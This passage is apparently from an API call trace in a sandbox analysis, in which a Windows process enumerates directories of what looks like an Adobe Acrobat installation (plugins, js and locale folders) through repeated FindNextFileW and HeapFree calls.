cFileName="plugins", cAlternateFileName="")) returned 0 [0267.041] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0267.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0267.041] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.041] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0267.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.041] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0267.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.043] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.043] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.043] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0267.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0267.044] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0267.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.115] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.214] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0267.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.215] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0267.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.216] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0267.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.216] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0267.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.217] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0267.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.217] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0267.218] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.218] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0267.219] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.219] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0267.219] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.219] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0267.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.220] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0267.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.220] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0267.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.221] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0267.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.222] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0267.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.222] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0267.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.227] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0267.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.228] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0267.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.228] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0267.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.228] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0267.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.229] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0267.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.230] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0267.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.230] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0267.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.231] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0267.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0267.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0267.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0267.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0267.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0267.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.236] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.237] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0267.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.239] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, 